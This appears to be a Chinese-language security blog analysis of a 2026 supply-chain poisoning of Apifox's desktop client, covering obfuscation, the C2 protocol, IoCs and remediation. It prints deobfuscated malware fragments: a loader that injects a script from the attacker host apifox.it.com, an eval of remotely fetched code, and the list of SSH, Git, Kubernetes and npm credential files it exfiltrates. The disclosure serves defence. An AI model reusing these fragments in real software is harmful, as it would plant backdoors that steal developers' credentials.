Apifox 供应链投毒攻击深度技术分析:从混淆载荷到灵活C2平台

一、事件概述

近日,安全研究人员监测到 Apifox 桌面客户端存在严重的供应链投毒行为。Apifox 是一款广泛使用的 API 一体化协作平台,其桌面端基于 Electron 构建,支持 Windows、macOS 和 Linux 三大操作系统。

攻击者通过篡改 Apifox 官方 CDN 上的 JavaScript 文件(apifox-app-event-tracking.min.js),在其中植入高度混淆的恶意代码。该代码在用户启动 Apifox 时自动执行,具备远程代码执行(RCE)敏感信息窃取持久化驻留灵活 C2 控制等能力。

此次攻击时间窗口为 2026年3月4日至3月22日,持续18天。攻击者利用非标准商业域名 apifox.it.com 作为 C2 服务器,并通过 Cloudflare 隐藏真实 IP,极大增加了检测与溯源难度。


二、攻击入口与投毒文件结构

投毒入口

正常情况下,Apifox 启动时会加载:

https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js

该文件正常大小约为 34KB。但在投毒期间(3月4日后),部分用户会收到一个 77KB 的异常版本。

文件结构

被投毒的 JS 文件由两部分组成:

  • 前 34KB:合法的 Apifox 事件追踪 SDK(含 GA4、百度统计、阿里云 SLS 等模块)
  • 后 42KB严重混淆的恶意后门代码

注:该投毒版本目前仅在 Wayback Machine 存档 中可查。


三、混淆技术与反混淆过程

恶意代码采用了 7 层高级混淆技术,包括:

  1. 字符串数组旋转(300+ 条编码字符串)
  2. Base64 + RC4 双层解密
  3. 代理函数包装
  4. 十六进制算术混淆(如 0x2425+-0x1*-0x415+0x80b*-0x5 表示简单数字)
  5. 控制流扁平化
  6. 死代码注入
  7. 反调试陷阱(检测调试器则触发无限递归)

通过精确复现解密逻辑并暴力枚举字符串数组偏移量(最终确定为 偏移 275),研究人员成功还原全部明文逻辑。


四、反混淆后核心功能分析

4.1 嵌入 RSA-2048 私钥

恶意代码硬编码了一个完整的 RSA-2048 私钥(PKCS#8 格式),用于:

  • 加密上报数据(使用公钥)
  • 解密 C2 下发指令(使用私钥)

⚠️ 关键失误:将私钥嵌入客户端代码,使所有通信可被解密——这是本次完整还原攻击链的关键突破口。

4.2 机器指纹采集

通过以下字段生成唯一设备标识:

MAC地址 + CPU型号 + 主机名 + 用户主目录 + 操作系统平台

拼接后进行 SHA-256 哈希,得到 64 位 af_uuid,存入 localStorage._rl_mc

4.3 Apifox 用户凭证窃取

localStorage.common.accessToken 获取登录令牌,调用官方 API:

GET https://api.apifox.com/api/v1/user

提取用户邮箱姓名,经 RSA 加密后随请求头上报。

4.4 C2 通信协议

apifox.it.com 发送自定义 HTTP 头:

Header 内容 加密方式
af_uuid 机器指纹 明文
af_os OS 类型+版本 明文
af_user 用户主目录 RSA
af_name 主机名 RSA
af_apifox_user Apifox 邮箱 RSA
af_apifox_name 用户姓名 RSA

4.5 远程代码执行(RCE)

const r = await fetch(REMOTE_JS_URL, { headers: h });
const payload = (await r.text()).trim();
const code = rsaDecrypt(payload);
eval(code); // ⚠️ 任意代码执行

4.6 持久化机制

通过 setTimeout30分钟至3小时的随机间隔内重新执行整个流程,只要 Apifox 运行,后门就持续活跃。


五、攻击载荷深度分析

5.1 Stage-1:加载器(Loader)

C2 返回 344 字节的 RSA 加密数据,解密后为:

(function() {
  var s = document.createElement('script');
  s.src = 'https://apifox.it.com/<随机8位hex>.js';
  s.onload = () => s.parentNode?.removeChild(s);
  document.head.appendChild(s);
})();
  • 路径随机化:每次生成不同 URL(如 b8ee3b68.js
  • 用完即焚:历史路径返回 404
  • 反取证:脚本加载后自动从 DOM 移除
  • 客户端绑定af_uuid 被硬编码进 Stage-2 代码

5.2 Stage-2 v1:基础信息窃取(collectPreInformations

窃取目标包括:

  • ~/.ssh/*(私钥、公钥、config 等)
  • Shell 历史:~/.zsh_history~/.bash_history
  • Git 凭证:~/.git-credentials
  • 进程列表:ps aux(Linux/macOS)、tasklist(Windows)

数据外泄流程

原始 JSON → Gzip 压缩 → AES-256-GCM 加密 → Base64 编码 → POST /event/0/log
  • 密码:apifox
  • 盐值:foxapi
  • 密钥派生:scryptSync(password, salt, 32)
  • 格式:Base64(IV[12] + AuthTag[16] + CipherText)

5.3 Stage-2 v2:纵深窃取(collectAddInformations

新增窃取目标:

  • ~/.zshrc(环境变量、API Key)
  • ~/.npmrc(npm Token)
  • ~/.kube/*(K8s 配置、OIDC Token)
  • ~/.subversion/*(SVN 凭证)
  • 目录树遍历(主目录、桌面、文档;Windows 额外扫描 D:\E:\F:\)

数据上报至新端点:/event/2/log

5.4 中文注释暴露 OPSEC 矛盾

令人惊讶的是,Stage-2 载荷中保留了完整中文开发注释,例如:

“盐值也必须提供”
“scryptSync 会根据密码和盐值,计算出一个确定的 32 字节密钥”

这与入口文件的 7 层混淆形成鲜明对比,暗示前后端可能由不同团队开发,或攻击者误判了载荷安全性。

5.5 未捕获的后续阶段:灵活 C2 平台

当前捕获的 v1/v2 仅为侦察阶段。由于核心机制为 eval(rsaDecrypt(c2_response)),C2 可在任一轮询中下发任意 JavaScript 代码,潜在后续攻击包括:

  • 高价值目标筛选(基于 SSH/K8s/Git 信息)
  • 定制化横向移动脚本
  • 独立后门植入(脱离 Apifox 进程)
  • 利用 SSH/K8s 凭证渗透内网
  • 二次供应链投毒(通过 npm/Git Token)

六、完整攻击链

七、C2 服务器行为特征

  • 技术栈:nginx/1.28.2 + Express (Node.js)
  • 一次性 URL:每个 Stage-2 路径仅有效一次
  • 客户端绑定af_uuid 硬编码进载荷
  • CORS 全开Access-Control-Allow-Origin: *
  • 无缓存Cache-Control: no-store
  • 持续迭代:v1 → v2,窃取范围不断扩大

观测到的 Stage-2 URL 样本(均已失效):

  • /49b5e0ba.js
  • /69bd75f5.js
  • /bf0475de.js
  • ...(共10+个,详见原文)

八、攻陷指标(IoCs)

网络指标

  • C2 域名apifox.it.com(非标准 .it.com 商业域名,无 WHOIS)
  • DNS 活跃期:2026-03-04 至 2026-03-22
  • 投毒入口cdn.apifox.com/.../apifox-app-event-tracking.min.js(77KB)
  • Stage-1/public/apifox-event.js
  • Stage-2/<8位hex>.js
  • 数据外泄/event/0/log/event/2/log

主机指标

  • localStorage 键:_rl_headers_rl_mc
  • 异常 HTTP 头:af_uuidaf_osaf_user
  • 被访问文件:~/.ssh/*~/.git-credentials~/.kube/*
  • 被执行命令:ps auxtasklist

加密指标

  • RSA 私钥:模数起始 MIIEvQIBADANBgkqh...
  • AES 密码apifox
  • AES 盐值foxapi
  • 算法:AES-256-GCM + scrypt

九、受影响范围与风险评估

受影响人群

  • 所有在 2026年3月4日后启动过 Apifox 桌面端的用户
  • 全平台覆盖:Windows、macOS、Linux

风险等级:🔴 严重(Critical)

已确认风险:

  • SSH 私钥泄露 → 服务器横向移动
  • Git 凭证泄露 → 源码仓库失陷
  • Shell 历史泄露 → API Key / 数据库连接串暴露
  • K8s 配置泄露 → 生产集群接管
  • npm Token 泄露 → 供应链二次投毒

潜在风险(不可排除):

  • 任意远程代码执行
  • 高价值目标定制化入侵
  • 独立后门驻留
  • 内网横向渗透
  • 源代码/数据库窃取

十、处置建议

紧急措施

  1. 立即停用 Apifox 桌面端
  2. 轮换所有 SSH 密钥
  3. 吊销所有 Git PAT(GitHub/GitLab)
  4. 重置 K8s OIDC Token 与 kubeconfig
  5. 轮换 npm Token
  6. 修改命令行历史中暴露的所有凭证
  7. 审查服务器 SSH 登录日志

检测方法

  • 检查 localStorage 是否存在 _rl_headers_rl_mc
  • 监控历史流量是否访问 apifox.it.com
  • 检查 HTTP 请求头是否含 af_uuid 等异常字段

长期建议

  • Apifox 应启用 Electron sandbox 模式
  • 对远程 JS 实施 Subresource Integrity (SRI) 校验
  • 建立 CDN 文件完整性监控
  • 企业应审计开发工具的网络通信

十一、总结

本次 Apifox 供应链攻击是一起高度专业化的 APT 式行动:

  • 利用 Electron 未沙箱化的漏洞
  • 通过 CDN 投毒实现广撒网
  • 7 层混淆 + RSA 加密 + 一次性 URL 提升隐蔽性
  • 灵活 C2 架构支持动态升级攻击载荷

然而,攻击者也犯下致命错误:

  • 私钥硬编码导致通信完全可解密
  • Stage-2 载荷保留中文注释暴露开发痕迹

但切勿低估威胁:当前公开的 IoC 仅反映侦察阶段。对于高价值目标,攻击者极可能已执行深度入侵。所有受影响用户应按“已失陷”级别响应。

安全无小事,供应链即防线。

上一篇 侧边栏IP签名档——功能更新
下一篇 QQ大会员免费开连续包月